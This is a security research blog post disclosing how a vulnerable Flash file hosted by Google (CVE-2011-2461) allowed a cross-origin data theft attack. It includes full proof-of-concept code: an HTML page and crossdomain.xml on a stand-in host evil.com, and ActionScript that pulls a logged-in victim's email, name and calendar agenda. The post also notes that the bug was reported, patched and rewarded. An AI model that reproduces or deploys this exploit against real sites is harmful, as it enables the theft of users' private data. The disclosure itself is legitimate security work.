During our large-scale analysis of web sites hosting vulnerable SWF files, we found out that also Google was affected.
Attack Flow
In the next lines we are assuming a basic knowledge of the CVE-2011-2461 vulnerability; make sure to read our previous cross-posts on NibbleSec or Minded Security in case you missed something. In addition, please note that we are using evil.com as a "label" for a fictitious site controlled by an attacker.
The following steps outline a successful attack:
- The victim is logged on google.com, and visits a malicious website
- The malicious site loads an HTML page, which embeds the vulnerable SWF together with a malicious SWF resource file (specified via FlashVars)
- The vulnerable SWF file is loaded by the Flash player, consequently loading the malicious SWF file (after having verified the crossdomain.xml, hosted on the attacker's site)
- Since the malicious SWF inherits the SecurityDomain of the vulnerable SWF, it can access HTTP responses from the victim's domain, leading to an "indirect" Same-Origin Policy bypass in fully patched web browsers and plug-ins.
Proof of Concept
Here follow the PoC files.
http://evil.com/poc/test.html
<i>Victim's agenda:</i>
<textarea id="x" style="width: 100%; height:50%"></textarea>
<object width="100%" height="100%"
type="application/x-shockwave-flash"
data="https://www.google.com/wonderwheel/wonderwheel7.swf">
<param name="allowscriptaccess" value="always">
<param name="flashvars" value="resourceModuleURLs=http://evil.com/poc/URLr_google.swf">
</object>
http://evil.com/crossdomain.xml
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>
http://evil.com/poc/URLr_google.swf (ActionScript code below)
package {
import flash.display.Sprite;
import flash.text.TextField;
import flash.events.*;
import flash.net.*;
import flash.external.ExternalInterface;
public class URLr_google extends Sprite {
public static var app : URLr_google;
private static var email : String;
public function main():void {
app = new URLr_google();
}
public function URLr_google() {
var url:String = "https://www.google.com/?gws_rd=cr";
var loader:URLLoader = new URLLoader();
configureListeners(loader);
var request:URLRequest = new URLRequest(url);
try {
loader.load(request);
} catch (error:Error) {
ExternalInterface.call("alert", "Unable to load requested document");
}
}
private function configureListeners(dispatcher:IEventDispatcher):void {
dispatcher.addEventListener(Event.COMPLETE, completeHandler);
}
private function pingCalendar():void {
var url:String = "https://www.google.com/calendar/";
var loader:URLLoader = new URLLoader();
configureListenersCalendar(loader);
var request:URLRequest = new URLRequest(url);
try {
loader.load(request);
} catch (error:Error) {
ExternalInterface.call("alert", "Unable to load requested document");
}
}
private function configureListenersCalendar(dispatcher:IEventDispatcher):void {
dispatcher.addEventListener(Event.COMPLETE, completeHandlerCalendar);
}
private function getAgenda():void {
var url:String = "https://www.google.com/calendar/htmlembed?skipwarning=true&eopt=3&mode=AGENDA&src=" + email;
var loader:URLLoader = new URLLoader();
configureListenersAgenda(loader);
var request:URLRequest = new URLRequest(url);
try {
loader.load(request);
} catch (error:Error) {
ExternalInterface.call("alert", "Unable to load requested document");
}
}
private function configureListenersAgenda(dispatcher:IEventDispatcher):void {
dispatcher.addEventListener(Event.COMPLETE, completeHandlerAgenda);
}
private function completeHandler(event:Event):void {
var loader:URLLoader = URLLoader(event.target);
var s:String = loader.data;
var pattern:RegExp = /[a-z0-9._-]+@[a-z0-9._-]+\.[a-z]+/i;
var results:Array = s.match(pattern);
if (results.length > 0) {
email = results[0];
ExternalInterface.call("eval", "alert('Email address: " + email + "')");
pingCalendar();
}
}
private function completeHandlerCalendar(event:Event):void {
getAgenda();
}
private function completeHandlerAgenda(event:Event):void {
var loader:URLLoader = URLLoader(event.target);
var res:String = escape(loader.data);
ExternalInterface.call("eval", "document.getElementById('x').value='" + res + "';document.getElementById('x').value=unescape(document.getElementById('x').value)");
var pattern:RegExp = /title>[a-z0-9]+\s[a-z0-9]+<\/title/i;
var results:Array = unescape(res).match(pattern);
if (results.length > 0) {
var name:String = results[0];
name = (name.substring(name.indexOf(">") + 1)).split("<")[0];
ExternalInterface.call("eval", "alert('Name and surname:" + name + "')");
}
}
}
}
By asking the victim to access the page located at http://evil.com/poc/test.html, the attacker is able to steal the following information:
- Gmail address
- FirstName
- LastName
- Future events stored in Google Calendar
By inspecting the malicious resource "module", you will notice that it makes three different HTTP requests:
- 1st GET request to https://www.google.com/?gws_rd=cr to steal the victim's email address;
- 2nd GET request to https://www.google.com/calendar/ to initialize the Google Calendar for the current session;
- 3rd GET request to https://www.google.com/calendar/htmlembed?skipwarning=true&eopt=3&mode=AGENDA&src=[JUST_STOLEN_EMAIL_ADDRESS] to steal the victim's first name, last name and agenda.
Obviously, many other attack scenarios are possible, depending on the pages functionalities. For instance, the malicious SWF could steal anti-CSRF tokens and perform actions on behalf of the user.
For the sake of transparency: we reported the issue to Google security team early in December, and they quickly patched it and awarded us thanks to their bug bounty program. Cheers!
As a final reminder to developers, website's owners and security teams: ParrotNG is your friend! Make sure to inspect all hosted SWF files, or at least sandbox them under different domains. In the latter, ensure that sensitive domains are not giving trust to sandboxing domains through relaxed crossdomain policy files, since the "trust chain" would cancel out the benefits of such domains partition.
Brought to you by Mauro Gentile and Luca Carettoni
FYI, we have also published a FAQ page here: http://blog.nibblesec.org/2015/03/cve-2011-2461-is-back-faq.html
ReplyDelete@Luca, Thanks!
ReplyDeleteVery interesting research!